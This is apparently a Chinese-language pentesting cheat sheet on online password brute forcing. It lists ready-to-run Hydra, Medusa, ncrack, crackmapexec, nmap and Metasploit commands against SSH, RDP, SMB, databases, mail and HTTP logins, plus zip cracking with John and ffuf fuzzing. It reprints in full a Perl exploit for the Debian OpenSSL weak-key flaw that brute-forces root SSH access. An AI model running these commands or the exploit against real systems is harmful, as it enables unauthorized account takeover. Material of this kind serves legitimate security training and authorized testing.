在线口令审计

服务密码破解

Medusa工具：

• 使用Medusa破解.htaccess保护的WEB目录

• 准备字典文件

┌──(root㉿kali)-[/home/kali]
└─$ cp /usr/share/wordlists/rockyou.txt.gz .

┌──(root㉿kali)-[/home/kali]
└─$ sudo gunzip rockyou.txt.gz

• 列出Medusa支持的所有模块

┌──(root㉿kali)-[/home/kali]
└─$ medusa -d

┌──(root㉿kali)-[/home/kali]
└─$ medusa -M http -q         # 查看模块的参数和使用方法

• 执行密码爆破

┌──(root㉿kali)-[/home/kali]
└─$ medusa -h 10.11.0.22 -u admin -P rockyou.txt -M http -m DIR:/admin
ACCOUNT FOUND: ［http］ Host: 10.11.0.22 User: admin Password: freedom ［SUCCESS］

SSH爆破：

# -小写指定单个数据 -大写是指定一个字典
hydra -l 用户名 -P 密码字典 -vV ssh://ip 
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ssh://ip 

Mysql爆破：

hydra -l 用户名 -P 密码字典 mysql://ip

Webdav爆破：

hydra -L 用户字典 -P 密码字典 IP http-get /webdav -v

fcrackzip命令是暴力破解zip工具，并且速度非常快。

john工具

zip压缩包破解：

zip2john xxx.zip > hash 

cp /usr/share/wordlists/rockyou.txt.gz /hash/rockyou.txt.gz
tar -zcvf ./rockyou.txt.gz
john hash --wordlist=rockyou.txt

SSH私钥爆破

使用searchsploit搜索prng(pseudo random number generator 伪随机数生成器)

└─# searchsploit prng
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                |  Path
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1)                                                                        | multiple/remote/32673.java
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2)                                                                        | multiple/remote/32674.cpp
LPRng (RedHat 7.0) - 'lpd' Format String                                                                                                      | linux/remote/227.c
LPRng - use_syslog Remote Format String (Metasploit)                                                                                          | linux/remote/16842.rb
LPRng 3.6.22/23/24 - Remote Command Execution                                                                                                 | linux/remote/226.c
LPRng 3.6.24-1 - Remote Command Execution                                                                                                     | linux/remote/230.c
LPRng 3.6.x - Failure To Drop Supplementary Groups                                                                                            | unix/local/20923.c
LPRNG html2ps 1.0 - Remote Command Execution                                                                                                  | unix/remote/21974.pl
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH                                                       | linux/remote/5622.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH                                                       | linux/remote/5720.py
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby)                                                | linux/remote/5632.rb
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

└─# searchsploit -m linux/remote/5622.txt
cat 5622.txt

the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.

This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***

1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
	    https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)

4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
   print "By [email protected]\n";
   exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
   chomp;
   next unless m,^\d+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
".$_ } @a)." ".$ARGV[1]);
      @a = ();
   }
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
[email protected]

# milw0rm.com [2008-05-15]

下载这个压缩文件后，使用 tar -xvf 5622.tar.bz2

解压之后 进入rsa/2048目录下使用grep -lr <id_rsa.pub的前20-30位> 如果存在，则会显示xxxx.pub, 在使用ls -la xxxx*搜索到私钥

参数爆破

ffuf工具

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w /home/min/HackTheBox/val.txt:VAL -u [http://192.168.43.186/secret/evil.php?PARAM:VAL](http://192.168.43.186/secret/evil.php?PARAM:VAL) -fs 0

子域暴力扫描

ffuf -u http://shoppy.htb -H “Host: FUZZ.shoppy.htb” -w /usr/share/seclists/Discovery/DNS/subdomain-list-big.txt

目录暴力扫描

ffuf -u http://shoppy.htb -w /usr/share/wordlists/dirb/big.txt

Cassandra

nmap --script cassandra-brute -p 9160 <IP>

CounchDB

auxiliary/scanner/couchdb/couchdb_login
hydra -e nsr -L <user.txt> -P <pass.txt> <IP> -s 5984 http-get /

Docker Registry

hydra -e nsr -L <user.txt> -P <pass.txt> <IP> -s 5000 https-get /v2/

Elasticsearch

hydra -e nsr -L <user.txt> -P <pass.txt> <IP> -s 9200 http-get /

FTP

hydra -L <user.txt> -P <pass.txt> [-t 32] <IP> ftp
ncrack -p 21 --user root -P <pass.txt> <IP> [-T 5]
medusa -U <user.txt> -P <pass.txt> -h <IP> -M ftp

IMAP

  hydra -l <user> -P <pass.txt> -f <IP> imap -V
  hydra -S -v -l <user> -P <pass.txt> -s 993 -f <IP> imap -V # 加密端口
  nmap -sV --script imap-brute -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=<user.txt>,passdb=<pass.txt> -p 3260 <IP>

LDAP

nmap --script ldap-brute -p 389 <IP>

mongoDB

nmap -sV --script mongodb-brute -n -p 27017 <IP>
auxiliary/scanner/mongodb/mongodb_login

MySQL

hydra -L <user.txt> -P <pass.txt> <IP> mysql
medusa -h <IP> -u <user> -P <pass.txt> -f -t <threads> -M mysql
auxiliary/scanner/mysql/mysql_login     set VERBOSE false

POP

hydra -l <user> -P <pass.txt> -f <IP> pop3 -V
hydra -S -v -l <user> -P <pass.txt> -s 995 -f <IP> pop3 -V

PostgreSQL

hydra -L user.txt -P pass.txt <IP> postgres
medusa -h <IP> -U user.txt -P pass.txt -M postgres
ncrack -v -U user.txt -P pass.txt <IP>:5432
auxiliary/scanner/postgres/postgres_login

RDP

ncrack -vv -user <user> -P <pass.txt> rdp://<IP>
hydra -V -f -L <user.txt> -P <pass.txt> rdp://<IP>
crowbar -b rdp -s <IP>/32 -u admin -C <pass.txt> -n 1 -v

Redis

auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra -P <pass.txt> redis://<IP>:<PORT>

Rsync

nmap -sV --script rsync-brute --script-args userdb=user.txt,passdb=pass.txt -p 873 <IP>

SNMP

auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <IP> [--script-args snmp-brute.communitiesdb=<pass.txt>]
onesixtyone -c <pass.txt> <IP>
hydra -P <pass.txt> <IP> snmp

SMB

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P <pass.txt> <IP> smb -t 1

SMTP

hydra -l <user> -P <pass.txt> <IP> smtp -V
hydra -l <user> -P <pass.txt> -s 587 <IP> -S -v -V  # SSL

SSH

hydra -l <user> -P <pass.txt> [-t 32] <IP> ssh
ncrack -p22 --user <user> -P <pass.txt> <IP> [-T 5]
medusa -u <user> -P <pass.txt> -h <IP> -M ssh

SQL Server

crackmapexec mssql <IP> -d <Domain Name> -u <user.txt> -p <pass.txt> 
hydra -L <user.txt> -P <pass.txt> <IP> mssql
medusa -h <IP> -U <user.txt> -P <pass.txt> -M mssql
auxiliary/scanner/mssql/mssql_login

Telent

hydra -l <user> -P <pass.txt> [-t 32] <IP> telent
medusa -u <user> -P <pass.txt> -h <IP> -M telent\
ncrack -p23 --user <user> -P <pass.txt> <IP> [-T 5]

VNC

hydra -L <user.txt> -P <pass.txt> -s <PORT> <IP> vnc
medusa -h <IP> -u <user> -P <pass.txt> -M vnc
ncrack -V --user <user> -P <pass.txt> <IP>:<PORT>

WinRM

crackmapexec winrm <IP> -d <Doamin Name> -u <user> -P <pass.txt>

Oracle

pip3 install cx_Oracle --upgrade
odat.py passwordguesser -s <IP> -d <sid>
odat.py passwordguesser -s <IP> -p <PORT> --accounts-file accounts_multiple.txt
auxiliary/admin/oracle/oracle_login     # RHOST RPORT SID

HTTP密码破解

基本身份验证

hydra -L <user.txt> -P <pass.txt> <IP> http-get /admin/
medusa -h <IP> -u <user> -P <pass.txt> -M http -m DIR:/path/to/wuth -T 10

POST表单

注意要筛选过滤字典，例如字典中有空密码，则有可能造成误报。

hydra -L <user.txt> -P <pass.txt> domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V

CMS系统（Wordpress、Joomla、Drupal、Moodle）

cmsmap -f W/J/D/M -u a -p a http://wordpress.com